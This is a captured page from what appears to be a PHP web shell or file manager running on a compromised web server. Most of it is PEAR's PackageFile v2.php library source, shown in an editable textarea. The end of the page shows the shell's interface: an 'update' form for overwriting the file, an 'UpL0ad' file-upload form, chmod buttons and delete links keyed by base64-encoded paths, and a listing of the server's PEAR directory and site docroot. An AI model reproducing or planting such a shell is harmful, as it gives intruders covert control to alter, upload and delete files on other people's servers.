        }
        return false;
    }

    function getState($key = 'release')
    {
        if (isset($this-&gt;_packageInfo['stability'][$key])) {
            return $this-&gt;_packageInfo['stability'][$key];
        }
        return false;
    }

    function getLicense($raw = false)
    {
        if (isset($this-&gt;_packageInfo['license'])) {
            if ($raw) {
                return $this-&gt;_packageInfo['license'];
            }
            if (is_array($this-&gt;_packageInfo['license'])) {
                return $this-&gt;_packageInfo['license']['_content'];
            } else {
                return $this-&gt;_packageInfo['license'];
            }
        }
        return false;
    }

    function getLicenseLocation()
    {
        if (!isset($this-&gt;_packageInfo['license']) || !is_array($this-&gt;_packageInfo['license'])) {
            return false;
        }
        return $this-&gt;_packageInfo['license']['attribs'];
    }

    function getNotes()
    {
        if (isset($this-&gt;_packageInfo['notes'])) {
            return $this-&gt;_packageInfo['notes'];
        }
        return false;
    }

    /**
     * Return the &lt;usesrole&gt; tag contents, if any
     * @return array|false
     */
    function getUsesrole()
    {
        if (isset($this-&gt;_packageInfo['usesrole'])) {
            return $this-&gt;_packageInfo['usesrole'];
        }
        return false;
    }

    /**
     * Return the &lt;usestask&gt; tag contents, if any
     * @return array|false
     */
    function getUsestask()
    {
        if (isset($this-&gt;_packageInfo['usestask'])) {
            return $this-&gt;_packageInfo['usestask'];
        }
        return false;
    }

    /**
     * This should only be used to retrieve filenames and install attributes
     */
    function getFilelist($preserve = false)
    {
        if (isset($this-&gt;_packageInfo['filelist']) &amp;&amp; !$preserve) {
            return $this-&gt;_packageInfo['filelist'];
        }
        $this-&gt;flattenFilelist();
        if ($contents = $this-&gt;getContents()) {
            $ret = array();
            if (!isset($contents['dir'])) {
                return false;
            }
            if (!isset($contents['dir']['file'][0])) {
                $contents['dir']['file'] = array($contents['dir']['file']);
            }
            foreach ($contents['dir']['file'] as $file) {
                if (!isset($file['attribs']['name'])) {
                    continue;
                }
                $name = $file['attribs']['name'];
                if (!$preserve) {
                    $file = $file['attribs'];
                }
                $ret[$name] = $file;
            }
            if (!$preserve) {
                $this-&gt;_packageInfo['filelist'] = $ret;
            }
            return $ret;
        }
        return false;
    }

    /**
     * Return configure options array, if any
     *
     * @return array|false
     */
    function getConfigureOptions()
    {
        if ($this-&gt;getPackageType() != 'extsrc' &amp;&amp; $this-&gt;getPackageType() != 'zendextsrc') {
            return false;
        }

        $releases = $this-&gt;getReleases();
        if (isset($releases[0])) {
            $releases = $releases[0];
        }

        if (isset($releases['configureoption'])) {
            if (!isset($releases['configureoption'][0])) {
                $releases['configureoption'] = array($releases['configureoption']);
            }

            for ($i = 0; $i &lt; count($releases['configureoption']); $i++) {
                $releases['configureoption'][$i] = $releases['configureoption'][$i]['attribs'];
            }

            return $releases['configureoption'];
        }

        return false;
    }

    /**
     * This is only used at install-time, after all serialization
     * is over.
     */
    function resetFilelist()
    {
        $this-&gt;_packageInfo['filelist'] = array();
    }

    /**
     * Retrieve a list of files that should be installed on this computer
     * @return array
     */
    function getInstallationFilelist($forfilecheck = false)
    {
        $contents = $this-&gt;getFilelist(true);
        if (isset($contents['dir']['attribs']['baseinstalldir'])) {
            $base = $contents['dir']['attribs']['baseinstalldir'];
        }
        if (isset($this-&gt;_packageInfo['bundle'])) {
            return PEAR::raiseError(
                'Exception: bundles should be handled in download code only');
        }
        $release = $this-&gt;getReleases();
        if ($release) {
            if (!isset($release[0])) {
                if (!isset($release['installconditions']) &amp;&amp; !isset($release['filelist'])) {
                    if ($forfilecheck) {
                        return $this-&gt;getFilelist();
                    }
                    return $contents;
                }
                $release = array($release);
            }
            $depchecker = &amp;$this-&gt;getPEARDependency2($this-&gt;_config, array(),
                array('channel' =&gt; $this-&gt;getChannel(), 'package' =&gt; $this-&gt;getPackage()),
                PEAR_VALIDATE_INSTALLING);
            foreach ($release as $instance) {
                if (isset($instance['installconditions'])) {
                    $installconditions = $instance['installconditions'];
                    if (is_array($installconditions)) {
                        PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                        foreach ($installconditions as $type =&gt; $conditions) {
                            if (!isset($conditions[0])) {
                                $conditions = array($conditions);
                            }
                            foreach ($conditions as $condition) {
                                $ret = $depchecker-&gt;{&quot;validate{$type}Dependency&quot;}($condition);
                                if (PEAR::isError($ret)) {
                                    PEAR::popErrorHandling();
                                    continue 3; // skip this release
                                }
                            }
                        }
                        PEAR::popErrorHandling();
                    }
                }
                // this is the release to use
                if (isset($instance['filelist'])) {
                    // ignore files
                    if (isset($instance['filelist']['ignore'])) {
                        $ignore = isset($instance['filelist']['ignore'][0]) ?
                            $instance['filelist']['ignore'] :
                            array($instance['filelist']['ignore']);
                        foreach ($ignore as $ig) {
                            unset ($contents[$ig['attribs']['name']]);
                        }
                    }
                    // install files as this name
                    if (isset($instance['filelist']['install'])) {
                        $installas = isset($instance['filelist']['install'][0]) ?
                            $instance['filelist']['install'] :
                            array($instance['filelist']['install']);
                        foreach ($installas as $as) {
                            $contents[$as['attribs']['name']]['attribs']['install-as'] =
                                $as['attribs']['as'];
                        }
                    }
                }
                if ($forfilecheck) {
                    foreach ($contents as $file =&gt; $attrs) {
                        $contents[$file] = $attrs['attribs'];
                    }
                }
                return $contents;
            }
        } else { // simple release - no installconditions or install-as
            if ($forfilecheck) {
                return $this-&gt;getFilelist();
            }
            return $contents;
        }
        // no releases matched
        return PEAR::raiseError('No releases in package.xml matched the existing operating ' .
            'system, extensions installed, or architecture, cannot install');
    }

    /**
     * This is only used at install-time, after all serialization
     * is over.
     * @param string file name
     * @param string installed path
     */
    function setInstalledAs($file, $path)
    {
        if ($path) {
            return $this-&gt;_packageInfo['filelist'][$file]['installed_as'] = $path;
        }
        unset($this-&gt;_packageInfo['filelist'][$file]['installed_as']);
    }

    function getInstalledLocation($file)
    {
        if (isset($this-&gt;_packageInfo['filelist'][$file]['installed_as'])) {
            return $this-&gt;_packageInfo['filelist'][$file]['installed_as'];
        }
        return false;
    }

    /**
     * This is only used at install-time, after all serialization
     * is over.
     */
    function installedFile($file, $atts)
    {
        if (isset($this-&gt;_packageInfo['filelist'][$file])) {
            $this-&gt;_packageInfo['filelist'][$file] =
                array_merge($this-&gt;_packageInfo['filelist'][$file], $atts['attribs']);
        } else {
            $this-&gt;_packageInfo['filelist'][$file] = $atts['attribs'];
        }
    }

    /**
     * Retrieve the contents tag
     */
    function getContents()
    {
        if (isset($this-&gt;_packageInfo['contents'])) {
            return $this-&gt;_packageInfo['contents'];
        }
        return false;
    }

    /**
     * @param string full path to file
     * @param string attribute name
     * @param string attribute value
     * @param int risky but fast - use this to choose a file based on its position in the list
     *            of files.  Index is zero-based like PHP arrays.
     * @return bool success of operation
     */
    function setFileAttribute($filename, $attr, $value, $index = false)
    {
        $this-&gt;_isValid = 0;
        if (in_array($attr, array('role', 'name', 'baseinstalldir'))) {
            $this-&gt;_filesValid = false;
        }
        if ($index !== false &amp;&amp;
              isset($this-&gt;_packageInfo['contents']['dir']['file'][$index]['attribs'])) {
            $this-&gt;_packageInfo['contents']['dir']['file'][$index]['attribs'][$attr] = $value;
            return true;
        }
        if (!isset($this-&gt;_packageInfo['contents']['dir']['file'])) {
            return false;
        }
        $files = $this-&gt;_packageInfo['contents']['dir']['file'];
        if (!isset($files[0])) {
            $files = array($files);
            $ind = false;
        } else {
            $ind = true;
        }
        foreach ($files as $i =&gt; $file) {
            if (isset($file['attribs'])) {
                if ($file['attribs']['name'] == $filename) {
                    if ($ind) {
                        $this-&gt;_packageInfo['contents']['dir']['file'][$i]['attribs'][$attr] = $value;
                    } else {
                        $this-&gt;_packageInfo['contents']['dir']['file']['attribs'][$attr] = $value;
                    }
                    return true;
                }
            }
        }
        return false;
    }

    function setDirtree($path)
    {
        if (!isset($this-&gt;_packageInfo['dirtree'])) {
            $this-&gt;_packageInfo['dirtree'] = array();
        }
        $this-&gt;_packageInfo['dirtree'][$path] = true;
    }

    function getDirtree()
    {
        if (isset($this-&gt;_packageInfo['dirtree']) &amp;&amp; count($this-&gt;_packageInfo['dirtree'])) {
            return $this-&gt;_packageInfo['dirtree'];
        }
        return false;
    }

    function resetDirtree()
    {
        unset($this-&gt;_packageInfo['dirtree']);
    }

    /**
     * Determines whether this package claims it is compatible with the version of
     * the package that has a recommended version dependency
     * @param PEAR_PackageFile_v2|PEAR_PackageFile_v1|PEAR_Downloader_Package
     * @return boolean
     */
    function isCompatible($pf)
    {
        if (!isset($this-&gt;_packageInfo['compatible'])) {
            return false;
        }
        if (!isset($this-&gt;_packageInfo['channel'])) {
            return false;
        }
        $me = $pf-&gt;getVersion();
        $compatible = $this-&gt;_packageInfo['compatible'];
        if (!isset($compatible[0])) {
            $compatible = array($compatible);
        }
        $found = false;
        foreach ($compatible as $info) {
            if (strtolower($info['name']) == strtolower($pf-&gt;getPackage())) {
                if (strtolower($info['channel']) == strtolower($pf-&gt;getChannel())) {
                    $found = true;
                    break;
                }
            }
        }
        if (!$found) {
            return false;
        }
        if (isset($info['exclude'])) {
            if (!isset($info['exclude'][0])) {
                $info['exclude'] = array($info['exclude']);
            }
            foreach ($info['exclude'] as $exclude) {
                if (version_compare($me, $exclude, '==')) {
                    return false;
                }
            }
        }
        if (version_compare($me, $info['min'], '&gt;=') &amp;&amp; version_compare($me, $info['max'], '&lt;=')) {
            return true;
        }
        return false;
    }

    /**
     * @return array|false
     */
    function getCompatible()
    {
        if (isset($this-&gt;_packageInfo['compatible'])) {
            return $this-&gt;_packageInfo['compatible'];
        }
        return false;
    }

    function getDependencies()
    {
        if (isset($this-&gt;_packageInfo['dependencies'])) {
            return $this-&gt;_packageInfo['dependencies'];
        }
        return false;
    }

    function isSubpackageOf($p)
    {
        return $p-&gt;isSubpackage($this);
    }

    /**
     * Determines whether the passed in package is a subpackage of this package.
     *
     * No version checking is done, only name verification.
     * @param PEAR_PackageFile_v1|PEAR_PackageFile_v2
     * @return bool
     */
    function isSubpackage($p)
    {
        $sub = array();
        if (isset($this-&gt;_packageInfo['dependencies']['required']['subpackage'])) {
            $sub = $this-&gt;_packageInfo['dependencies']['required']['subpackage'];
            if (!isset($sub[0])) {
                $sub = array($sub);
            }
        }
        if (isset($this-&gt;_packageInfo['dependencies']['optional']['subpackage'])) {
            $sub1 = $this-&gt;_packageInfo['dependencies']['optional']['subpackage'];
            if (!isset($sub1[0])) {
                $sub1 = array($sub1);
            }
            $sub = array_merge($sub, $sub1);
        }
        if (isset($this-&gt;_packageInfo['dependencies']['group'])) {
            $group = $this-&gt;_packageInfo['dependencies']['group'];
            if (!isset($group[0])) {
                $group = array($group);
            }
            foreach ($group as $deps) {
                if (isset($deps['subpackage'])) {
                    $sub2 = $deps['subpackage'];
                    if (!isset($sub2[0])) {
                        $sub2 = array($sub2);
                    }
                    $sub = array_merge($sub, $sub2);
                }
            }
        }
        foreach ($sub as $dep) {
            if (strtolower($dep['name']) == strtolower($p-&gt;getPackage())) {
                if (isset($dep['channel'])) {
                    if (strtolower($dep['channel']) == strtolower($p-&gt;getChannel())) {
                        return true;
                    }
                } else {
                    if ($dep['uri'] == $p-&gt;getURI()) {
                        return true;
                    }
                }
            }
        }
        return false;
    }

    function dependsOn($package, $channel)
    {
        if (!($deps = $this-&gt;getDependencies())) {
            return false;
        }
        foreach (array('package', 'subpackage') as $type) {
            foreach (array('required', 'optional') as $needed) {
                if (isset($deps[$needed][$type])) {
                    if (!isset($deps[$needed][$type][0])) {
                        $deps[$needed][$type] = array($deps[$needed][$type]);
                    }
                    foreach ($deps[$needed][$type] as $dep) {
                        $depchannel = isset($dep['channel']) ? $dep['channel'] : '__uri';
                        if (strtolower($dep['name']) == strtolower($package) &amp;&amp;
                              $depchannel == $channel) {
                            return true;
                        }
                    }
                }
            }
            if (isset($deps['group'])) {
                if (!isset($deps['group'][0])) {
                    $dep['group'] = array($deps['group']);
                }
                foreach ($deps['group'] as $group) {
                    if (isset($group[$type])) {
                        if (!is_array($group[$type])) {
                            $group[$type] = array($group[$type]);
                        }
                        foreach ($group[$type] as $dep) {
                            $depchannel = isset($dep['channel']) ? $dep['channel'] : '__uri';
                            if (strtolower($dep['name']) == strtolower($package) &amp;&amp;
                                  $depchannel == $channel) {
                                return true;
                            }
                        }
                    }
                }
            }
        }
        return false;
    }

    /**
     * Get the contents of a dependency group
     * @param string
     * @return array|false
     */
    function getDependencyGroup($name)
    {
        $name = strtolower($name);
        if (!isset($this-&gt;_packageInfo['dependencies']['group'])) {
            return false;
        }
        $groups = $this-&gt;_packageInfo['dependencies']['group'];
        if (!isset($groups[0])) {
            $groups = array($groups);
        }
        foreach ($groups as $group) {
            if (strtolower($group['attribs']['name']) == $name) {
                return $group;
            }
        }
        return false;
    }

    /**
     * Retrieve a partial package.xml 1.0 representation of dependencies
     *
     * a very limited representation of dependencies is returned by this method.
     * The &lt;exclude&gt; tag for excluding certain versions of a dependency is
     * completely ignored.  In addition, dependency groups are ignored, with the
     * assumption that all dependencies in dependency groups are also listed in
     * the optional group that work with all dependency groups
     * @param boolean return package.xml 2.0 &lt;dependencies&gt; tag
     * @return array|false
     */
    function getDeps($raw = false, $nopearinstaller = false)
    {
        if (isset($this-&gt;_packageInfo['dependencies'])) {
            if ($raw) {
                return $this-&gt;_packageInfo['dependencies'];
            }
            $ret = array();
            $map = array(
                'php' =&gt; 'php',
                'package' =&gt; 'pkg',
                'subpackage' =&gt; 'pkg',
                'extension' =&gt; 'ext',
                'os' =&gt; 'os',
                'pearinstaller' =&gt; 'pkg',
                );
            foreach (array('required', 'optional') as $type) {
                $optional = ($type == 'optional') ? 'yes' : 'no';
                if (!isset($this-&gt;_packageInfo['dependencies'][$type])
                    || empty($this-&gt;_packageInfo['dependencies'][$type])) {
                    continue;
                }
                foreach ($this-&gt;_packageInfo['dependencies'][$type] as $dtype =&gt; $deps) {
                    if ($dtype == 'pearinstaller' &amp;&amp; $nopearinstaller) {
                        continue;
                    }
                    if ((is_array($deps) &amp;&amp; !isset($deps[0])) || !is_array($deps)) {
                        $deps = array($deps);
                    }
                    foreach ($deps as $dep) {
                        if (!isset($map[$dtype])) {
                            // no support for arch type
                            continue;
                        }
                        if ($dtype == 'pearinstaller') {
                            $dep['name'] = 'PEAR';
                            $dep['channel'] = 'pear.php.net';
                        }
                        $s = array('type' =&gt; $map[$dtype]);
                        if (isset($dep['channel'])) {
                            $s['channel'] = $dep['channel'];
                        }
                        if (isset($dep['uri'])) {
                            $s['uri'] = $dep['uri'];
                        }
                        if (isset($dep['name'])) {
                            $s['name'] = $dep['name'];
                        }
                        if (isset($dep['conflicts'])) {
                            $s['rel'] = 'not';
                        } else {
                            if (!isset($dep['min']) &amp;&amp;
                                  !isset($dep['max'])) {
                                $s['rel'] = 'has';
                                $s['optional'] = $optional;
                            } elseif (isset($dep['min']) &amp;&amp;
                                  isset($dep['max'])) {
                                $s['rel'] = 'ge';
                                $s1 = $s;
                                $s1['rel'] = 'le';
                                $s['version'] = $dep['min'];
                                $s1['version'] = $dep['max'];
                                if (isset($dep['channel'])) {
                                    $s1['channel'] = $dep['channel'];
                                }
                                if ($dtype != 'php') {
                                    $s['name'] = $dep['name'];
                                    $s1['name'] = $dep['name'];
                                }
                                $s['optional'] = $optional;
                                $s1['optional'] = $optional;
                                $ret[] = $s1;
                            } elseif (isset($dep['min'])) {
                                if (isset($dep['exclude']) &amp;&amp;
                                      $dep['exclude'] == $dep['min']) {
                                    $s['rel'] = 'gt';
                                } else {
                                    $s['rel'] = 'ge';
                                }
                                $s['version'] = $dep['min'];
                                $s['optional'] = $optional;
                                if ($dtype != 'php') {
                                    $s['name'] = $dep['name'];
                                }
                            } elseif (isset($dep['max'])) {
                                if (isset($dep['exclude']) &amp;&amp;
                                      $dep['exclude'] == $dep['max']) {
                                    $s['rel'] = 'lt';
                                } else {
                                    $s['rel'] = 'le';
                                }
                                $s['version'] = $dep['max'];
                                $s['optional'] = $optional;
                                if ($dtype != 'php') {
                                    $s['name'] = $dep['name'];
                                }
                            }
                        }
                        $ret[] = $s;
                    }
                }
            }
            if (count($ret)) {
                return $ret;
            }
        }
        return false;
    }

    /**
     * @return php|extsrc|extbin|zendextsrc|zendextbin|bundle|false
     */
    function getPackageType()
    {
        if (isset($this-&gt;_packageInfo['phprelease'])) {
            return 'php';
        }
        if (isset($this-&gt;_packageInfo['extsrcrelease'])) {
            return 'extsrc';
        }
        if (isset($this-&gt;_packageInfo['extbinrelease'])) {
            return 'extbin';
        }
        if (isset($this-&gt;_packageInfo['zendextsrcrelease'])) {
            return 'zendextsrc';
        }
        if (isset($this-&gt;_packageInfo['zendextbinrelease'])) {
            return 'zendextbin';
        }
        if (isset($this-&gt;_packageInfo['bundle'])) {
            return 'bundle';
        }
        return false;
    }

    /**
     * @return array|false
     */
    function getReleases()
    {
        $type = $this-&gt;getPackageType();
        if ($type != 'bundle') {
            $type .= 'release';
        }
        if ($this-&gt;getPackageType() &amp;&amp; isset($this-&gt;_packageInfo[$type])) {
            return $this-&gt;_packageInfo[$type];
        }
        return false;
    }

    /**
     * @return array
     */
    function getChangelog()
    {
        if (isset($this-&gt;_packageInfo['changelog'])) {
            return $this-&gt;_packageInfo['changelog'];
        }
        return false;
    }

    function hasDeps()
    {
        return isset($this-&gt;_packageInfo['dependencies']);
    }

    function getPackagexmlVersion()
    {
        if (isset($this-&gt;_packageInfo['zendextsrcrelease'])) {
            return '2.1';
        }
        if (isset($this-&gt;_packageInfo['zendextbinrelease'])) {
            return '2.1';
        }
        return '2.0';
    }

    /**
     * @return array|false
     */
    function getSourcePackage()
    {
        if (isset($this-&gt;_packageInfo['extbinrelease']) ||
              isset($this-&gt;_packageInfo['zendextbinrelease'])) {
            return array('channel' =&gt; $this-&gt;_packageInfo['srcchannel'],
                         'package' =&gt; $this-&gt;_packageInfo['srcpackage']);
        }
        return false;
    }

    function getBundledPackages()
    {
        if (isset($this-&gt;_packageInfo['bundle'])) {
            return $this-&gt;_packageInfo['contents']['bundledpackage'];
        }
        return false;
    }

    function getLastModified()
    {
        if (isset($this-&gt;_packageInfo['_lastmodified'])) {
            return $this-&gt;_packageInfo['_lastmodified'];
        }
        return false;
    }

    /**
     * Get the contents of a file listed within the package.xml
     * @param string
     * @return string
     */
    function getFileContents($file)
    {
        if ($this-&gt;_archiveFile == $this-&gt;_packageFile) { // unpacked
            $dir = dirname($this-&gt;_packageFile);
            $file = $dir . DIRECTORY_SEPARATOR . $file;
            $file = str_replace(array('/', '\\'),
                array(DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR), $file);
            if (file_exists($file) &amp;&amp; is_readable($file)) {
                return implode('', file($file));
            }
        } else { // tgz
            $tar = new Archive_Tar($this-&gt;_archiveFile);
            $tar-&gt;pushErrorHandling(PEAR_ERROR_RETURN);
            if ($file != 'package.xml' &amp;&amp; $file != 'package2.xml') {
                $file = $this-&gt;getPackage() . '-' . $this-&gt;getVersion() . '/' . $file;
            }
            $file = $tar-&gt;extractInString($file);
            $tar-&gt;popErrorHandling();
            if (PEAR::isError($file)) {
                return PEAR::raiseError(&quot;Cannot locate file '$file' in archive&quot;);
            }
            return $file;
        }
    }

    function &amp;getRW()
    {
        if (!class_exists('PEAR_PackageFile_v2_rw')) {
            require_once 'PEAR/PackageFile/v2/rw.php';
        }
        $a = new PEAR_PackageFile_v2_rw;
        foreach (get_object_vars($this) as $name =&gt; $unused) {
            if (!isset($this-&gt;$name)) {
                continue;
            }
            if ($name == '_config' || $name == '_logger'|| $name == '_registry' ||
                  $name == '_stack') {
                $a-&gt;$name = &amp;$this-&gt;$name;
            } else {
                $a-&gt;$name = $this-&gt;$name;
            }
        }
        return $a;
    }

    function &amp;getDefaultGenerator()
    {
        if (!class_exists('PEAR_PackageFile_Generator_v2')) {
            require_once 'PEAR/PackageFile/Generator/v2.php';
        }
        $a = new PEAR_PackageFile_Generator_v2($this);
        return $a;
    }

    function analyzeSourceCode($file, $string = false)
    {
        if (!isset($this-&gt;_v2Validator) ||
              !is_a($this-&gt;_v2Validator, 'PEAR_PackageFile_v2_Validator')) {
            if (!class_exists('PEAR_PackageFile_v2_Validator')) {
                require_once 'PEAR/PackageFile/v2/Validator.php';
            }
            $this-&gt;_v2Validator = new PEAR_PackageFile_v2_Validator;
        }
        return $this-&gt;_v2Validator-&gt;analyzeSourceCode($file, $string);
    }

    function validate($state = PEAR_VALIDATE_NORMAL)
    {
        if (!isset($this-&gt;_packageInfo) || !is_array($this-&gt;_packageInfo)) {
            return false;
        }
        if (!isset($this-&gt;_v2Validator) ||
              !is_a($this-&gt;_v2Validator, 'PEAR_PackageFile_v2_Validator')) {
            if (!class_exists('PEAR_PackageFile_v2_Validator')) {
                require_once 'PEAR/PackageFile/v2/Validator.php';
            }
            $this-&gt;_v2Validator = new PEAR_PackageFile_v2_Validator;
        }
        if (isset($this-&gt;_packageInfo['xsdversion'])) {
            unset($this-&gt;_packageInfo['xsdversion']);
        }
        return $this-&gt;_v2Validator-&gt;validate($this, $state);
    }

    function getTasksNs()
    {
        if (!isset($this-&gt;_tasksNs)) {
            if (isset($this-&gt;_packageInfo['attribs'])) {
                foreach ($this-&gt;_packageInfo['attribs'] as $name =&gt; $value) {
                    if ($value == 'http://pear.php.net/dtd/tasks-1.0') {
                        $this-&gt;_tasksNs = str_replace('xmlns:', '', $name);
                        break;
                    }
                }
            }
        }
        return $this-&gt;_tasksNs;
    }

    /**
     * Determine whether a task name is a valid task.  Custom tasks may be defined
     * using subdirectories by putting a &quot;-&quot; in the name, as in &lt;tasks:mycustom-task&gt;
     *
     * Note that this method will auto-load the task class file and test for the existence
     * of the name with &quot;-&quot; replaced by &quot;_&quot; as in PEAR/Task/mycustom/task.php makes class
     * PEAR_Task_mycustom_task
     * @param string
     * @return boolean
     */
    function getTask($task)
    {
        $this-&gt;getTasksNs();
        // transform all '-' to '/' and 'tasks:' to '' so tasks:replace becomes replace
        $task = str_replace(array($this-&gt;_tasksNs . ':', '-'), array('', ' '), $task);
        $taskfile = str_replace(' ', '/', ucwords($task));
        $task = str_replace(array(' ', '/'), '_', ucwords($task));
        if (class_exists(&quot;PEAR_Task_$task&quot;)) {
            return &quot;PEAR_Task_$task&quot;;
        }
        $fp = @fopen(&quot;PEAR/Task/$taskfile.php&quot;, 'r', true);
        if ($fp) {
            fclose($fp);
            require_once &quot;PEAR/Task/$taskfile.php&quot;;
            return &quot;PEAR_Task_$task&quot;;
        }
        return false;
    }

    /**
     * Key-friendly array_splice
     * @param tagname to splice a value in before
     * @param mixed the value to splice in
     * @param string the new tag name
     */
    function _ksplice($array, $key, $value, $newkey)
    {
        $offset = array_search($key, array_keys($array));
        $after = array_slice($array, $offset);
        $before = array_slice($array, 0, $offset);
        $before[$newkey] = $value;
        return array_merge($before, $after);
    }

    /**
     * @param array a list of possible keys, in the order they may occur
     * @param mixed contents of the new package.xml tag
     * @param string tag name
     * @access private
     */
    function _insertBefore($array, $keys, $contents, $newkey)
    {
        foreach ($keys as $key) {
            if (isset($array[$key])) {
                return $array = $this-&gt;_ksplice($array, $key, $contents, $newkey);
            }
        }
        $array[$newkey] = $contents;
        return $array;
    }

    /**
     * @param subsection of {@link $_packageInfo}
     * @param array|string tag contents
     * @param array format:
     * &lt;pre&gt;
     * array(
     *   tagname =&gt; array(list of tag names that follow this one),
     *   childtagname =&gt; array(list of child tag names that follow this one),
     * )
     * &lt;/pre&gt;
     *
     * This allows construction of nested tags
     * @access private
     */
    function _mergeTag($manip, $contents, $order)
    {
        if (count($order)) {
            foreach ($order as $tag =&gt; $curorder) {
                if (!isset($manip[$tag])) {
                    // ensure that the tag is set up
                    $manip = $this-&gt;_insertBefore($manip, $curorder, array(), $tag);
                }
                if (count($order) &gt; 1) {
                    $manip[$tag] = $this-&gt;_mergeTag($manip[$tag], $contents, array_slice($order, 1));
                    return $manip;
                }
            }
        } else {
            return $manip;
        }
        if (is_array($manip[$tag]) &amp;&amp; !empty($manip[$tag]) &amp;&amp; isset($manip[$tag][0])) {
            $manip[$tag][] = $contents;
        } else {
            if (is_array($manip[$tag]) &amp;&amp; !count($manip[$tag])) {
                $manip[$tag] = $contents;
            } else {
                $manip[$tag] = array($manip[$tag]);
                $manip[$tag][] = $contents;
            }
        }
        return $manip;
    }
}
?&gt;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvNDY5ZWQyZjYtNGQ0Yi00YThhLTlmNWUtZWU0ZWYwNGQzYmM4L3B1YmxpY19odG1s">/var/www/469ed2f6-4d4b-4a8a-9f5e-ee4ef04d3bc8/public_html</a><hr>curdir: /opt/ecp-php81/lib/php/PEAR/PackageFile<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFS"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg=="/>Generator</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=R2VuZXJhdG9y&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL1BhcnNlcg=="/>Parser</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=UGFyc2Vy&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&x=djEucGhw">X</a></td><td><a href="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=djEucGhw"/>v1.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=djEucGhw&c=`+btoa(c):0" value="0644"></td><td>50611</td></tr><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL3Yy"/>v2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=djI=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&x=djIucGhw">X</a></td><td><a href="?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=djIucGhw"/>v2.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwODEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl&f=djIucGhw&c=`+btoa(c):0" value="0644"></td><td>69952</td></tr></table>
	.	4096
	..	4096
	Generator	4096
	Parser	4096
X	v1.php	50611
	v2	4096
X	v2.php	69952